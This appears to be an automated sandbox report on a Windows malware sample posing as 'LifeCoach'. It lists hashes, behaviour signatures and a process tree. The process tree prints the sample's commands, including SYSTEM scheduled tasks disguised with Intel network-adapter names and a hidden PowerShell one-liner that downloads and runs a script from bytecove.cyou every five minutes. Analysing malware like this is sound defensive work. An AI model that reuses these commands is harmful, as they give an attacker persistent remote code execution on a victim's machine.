Analysis
- max time kernel
149s - max time network
155s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows - submitted
12/08/2026, 03:58
Static task
static1
Behavioral task
behavioral1
Sample
5d68c951532794ee1ccda33bd7661ab097ad743d779f5bc3380e826e3b8f9ec6.exe
Resource
win10v2004-20260513-en
Behavioral task
behavioral2
Sample
5d68c951532794ee1ccda33bd7661ab097ad743d779f5bc3380e826e3b8f9ec6.exe
Resource
win11ltsc2024-20260709-en
General
- Target 5d68c951532794ee1ccda33bd7661ab097ad743d779f5bc3380e826e3b8f9ec6.exe
- Size 13.5MB
- Sample260812-ejj83aaj81
- SHA256 5d68c951532794ee1ccda33bd7661ab097ad743d779f5bc3380e826e3b8f9ec6
- MD5 07cb24f0ed6f8eceaab8953f63fdccbd
- SHA1 8642857317f8bae2ea980dac14033c7e959ff201
- SHA512 557012661c5a250bf9d0c2eb3822d2dcc25b467c33555bea350c84f4d4a02bd56de7d6ea10f2e5d7c97c2e192ff950ce0bd03389c0b25b4343f30c6d385d6b0a
- SSDEEP 393216:ZLD7yP3vlUYN5RiDCM+M6EHPrQo6vIzzDe1U4IMWhv:oPNU5+M6EJlzzDoIMWhv
- TLSH T1C1E6331843A859FCE5E392749AC74942EBB17C8957B2D6CB034559A63FB3081EC3F722
- MD5 SHA1 SHA512 SSDEEP TLSH
Malware Config
Extracted
-
ps1
-
ps1.dropper
https://bytecove.cyou/checkout/res/a.php
Signatures
- Executes dropped EXE 1 IoCs
pid Process 5824 LifeCoach.exe -
pid Process 5720 powershell.exe - Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
-
resource yara_rule behavioral2/files/0x000c00000001c562-35.dat upx behavioral2/memory/5824-37-0x0000000000400000-0x0000000005ACB000-memory.dmp upx - Drops file in Windows directory 2 IoCs
description ioc Process File created C:\Windows\SystemTemp\__PSScriptPolicyTest_2jp5fstp.oze.ps1 powershell.exe File created C:\Windows\SystemTemp\__PSScriptPolicyTest_epv3zhuv.krf.psm1 powershell.exe - Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Executes a command shell one-liner 1 TTPs 2 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
pid Process 2564 cmd.exe 5708 cmd.exe - System Location Discovery: System Language Discovery 1 TTPs 1 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language LifeCoach.exe - Delays execution with timeout.exe 1 IoCs
pid Process 4484 timeout.exe - Kills process with taskkill 1 IoCs
pid Process 2636 taskkill.exe - Modifies data under HKEY_USERS 41 IoCs
description ioc Process Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs powershell.exe - Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 4456 schtasks.exe 2328 schtasks.exe - Suspicious behavior: EnumeratesProcesses 5 IoCs
pid Process 4500 powershell.exe 4500 powershell.exe 5720 powershell.exe 5720 powershell.exe 5720 powershell.exe - Suspicious use of AdjustPrivilegeToken 24 IoCs
description pid Process Token: SeDebugPrivilege 4500 powershell.exe Token: SeIncreaseQuotaPrivilege 4500 powershell.exe Token: SeSecurityPrivilege 4500 powershell.exe Token: SeTakeOwnershipPrivilege 4500 powershell.exe Token: SeLoadDriverPrivilege 4500 powershell.exe Token: SeSystemProfilePrivilege 4500 powershell.exe Token: SeSystemtimePrivilege 4500 powershell.exe Token: SeProfSingleProcessPrivilege 4500 powershell.exe Token: SeIncBasePriorityPrivilege 4500 powershell.exe Token: SeCreatePagefilePrivilege 4500 powershell.exe Token: SeBackupPrivilege 4500 powershell.exe Token: SeRestorePrivilege 4500 powershell.exe Token: SeShutdownPrivilege 4500 powershell.exe Token: SeDebugPrivilege 4500 powershell.exe Token: SeSystemEnvironmentPrivilege 4500 powershell.exe Token: SeRemoteShutdownPrivilege 4500 powershell.exe Token: SeUndockPrivilege 4500 powershell.exe Token: SeManageVolumePrivilege 4500 powershell.exe Token: 33 4500 powershell.exe Token: 34 4500 powershell.exe Token: 35 4500 powershell.exe Token: 36 4500 powershell.exe Token: SeDebugPrivilege 5720 powershell.exe Token: SeDebugPrivilege 2636 taskkill.exe - Suspicious use of WriteProcessMemory 11 IoCs
description pid Process procid_target PID 4868 wrote to memory of 2564 4868 5d68c951532794ee1ccda33bd7661ab097ad743d779f5bc3380e826e3b8f9ec6.exe 89 PID 2564 wrote to memory of 4500 2564 cmd.exe 91 PID 2564 wrote to memory of 1712 2564 cmd.exe 93 PID 2564 wrote to memory of 4620 2564 cmd.exe 94 PID 2564 wrote to memory of 4456 2564 cmd.exe 95 PID 2564 wrote to memory of 2328 2564 cmd.exe 96 PID 2564 wrote to memory of 2212 2564 cmd.exe 97 PID 2564 wrote to memory of 5824 2564 cmd.exe 100 PID 2564 wrote to memory of 4484 2564 cmd.exe 103 PID 5708 wrote to memory of 5720 5708 cmd.exe 106 PID 2564 wrote to memory of 2636 2564 cmd.exe 109 - Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
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C:\Users\Admin\AppData\Local\Temp\5d68c951532794ee1ccda33bd7661ab097ad743d779f5bc3380e826e3b8f9ec6.exe"C:\Users\Admin\AppData\Local\Temp\5d68c951532794ee1ccda33bd7661ab097ad743d779f5bc3380e826e3b8f9ec6.exe"1⤵
- Suspicious use of WriteProcessMemory
PID:4868 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\LifeCoach\LifeCoach\run.bat" "2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:2564 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -ep bypass -w h -EncodedCommand QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgACIAJABlAG4AdgA6AHcAaQBuAGQAaQByAFwAUwB5AHMAdABlAG0AMwAyACIA3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4500
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C:\Windows\system32\schtasks.exeschtasks /delete /tn "Intel(R) Ethernet Connection 1219-LM" /f3⤵PID:1712
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C:\Windows\system32\schtasks.exeschtasks /delete /tn "Intel(R) Ethernet2 Connection 1219-LM" /f3⤵PID:4620
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C:\Windows\system32\schtasks.exeschtasks /create /tn "Intel(R) Ethernet3 Connection 1219-LM" /tr "schtasks /run /tn \"Intel(R) Ethernet3 Connection 1219-LM2\"" /ru "SYSTEM" /sc ONSTART /rl HIGHEST /f3⤵
- Scheduled Task/Job: Scheduled Task
PID:4456
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C:\Windows\system32\schtasks.exeschtasks /create /tn "Intel(R) Ethernet3 Connection 1219-LM2" /tr "cmd.exe /c powershell -w h -command $obj = New-Object Net.WebClient;$s = $obj.DownloadString(\\\"https://bytecove.cyou/checkout/res/a.php\\\");^&([ScriptBlock]::Create($s))" /ru "SYSTEM" /sc MINUTE /mo 5 /rl HIGHEST /f3⤵
- Scheduled Task/Job: Scheduled Task
PID:2328
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C:\Windows\system32\schtasks.exeschtasks /run /tn "Intel(R) Ethernet3 Connection 1219-LM"3⤵PID:2212
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C:\Users\Admin\AppData\Local\Temp\LifeCoach\LifeCoach\LifeCoach.exeC:\Users\Admin\AppData\Local\Temp\LifeCoach\LifeCoach\\LifeCoach.exe3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
PID:5824
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C:\Windows\system32\timeout.exetimeout /t 53⤵
- Delays execution with timeout.exe
PID:4484
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C:\Windows\system32\taskkill.exetaskkill /F /IM powershell.exe /FI "SESSION eq 0"3⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:2636
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C:\Windows\system32\schtasks.EXE"C:\Windows\system32\schtasks.EXE" /run /tn "Intel(R) Ethernet3 Connection 1219-LM2"1⤵PID:3728
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C:\Windows\system32\cmd.exe"cmd.exe" /c powershell -w h -command $obj = New-Object Net.WebClient;$s = $obj.DownloadString(\"https://bytecove.cyou/checkout/res/a.php\");^&([ScriptBlock]::Create($s))1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:5708 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -w h -command $obj = New-Object Net.WebClient;$s = $obj.DownloadString(\"https://bytecove.cyou/checkout/res/a.php\");&([ScriptBlock]::Create($s))2⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:5720
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C:\Windows\system32\schtasks.exeschtasks1⤵PID:1888
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C:\Windows\system32\cmd.execmd.exe1⤵PID:2520
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
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Downloads
- Path C:\Users\Admin\AppData\Local\Temp\LifeCoach\LifeCoach\LifeCoach.exe
- Size 13.6MB
- SHA256 f1d04e93963f424af536bd6855ea5fd24ce6266aecbe32e5f53c46b1dc9769f6
- MD5 2d27401eba6c4577bc4b92cdd82bfac8
- SHA1 1a71cf3015d0da33b91dcb606cbe20c093976835
- SHA512 d9cf0927c9056b24d733b79ee35c48a17e912525bdf824fbe8364704f5e41cb45cfec0999eee217d3608a2cffb27f33a9e652f0caf240db1becd54e45a1c06e9
- SSDEEP 393216:eBeGE94f+hwTX54Y9/TeJuyEeHM0idaxv+Kmx:wE94jpbMJuyd4
- TLSH T1C4E63313E2265197F713F971469ABBE1C90DF86B072623334E6EE5FE4A308D1994E213
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Temp\LifeCoach\LifeCoach\run.bat
- Size 995B
- SHA256 6f79d8b73e8437eabeea42adbd057e2cf78faf210f174c195140be336b361838
- MD5 e787553629c40dd0332221400ac2cee4
- SHA1 a15293d7fc36bdd2df2994318408b621a037ef1a
- SHA512 78bdaa9ad919727bc7bf62f6af753e07d31200d66a2152d93012caf1d4b99d069213f824fb189eb0740ec673b0870f773295f0ad2037beaf6fb78d6266320409
- TLSH T108113FFBB61BEC484A4FB4D1455B05236D33E453529501C1B075C5309DFB2A5D32A3CE
- MD5 SHA1 SHA512 TLSH
- Path C:\Windows\SystemTemp\__PSScriptPolicyTest_2jp5fstp.oze.ps1
- Size 60B
- SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
- MD5 d17fe0a3f47be24a6453e9ef58c94641
- SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
- SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
- TLSH T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
- MD5 SHA1 SHA512 TLSH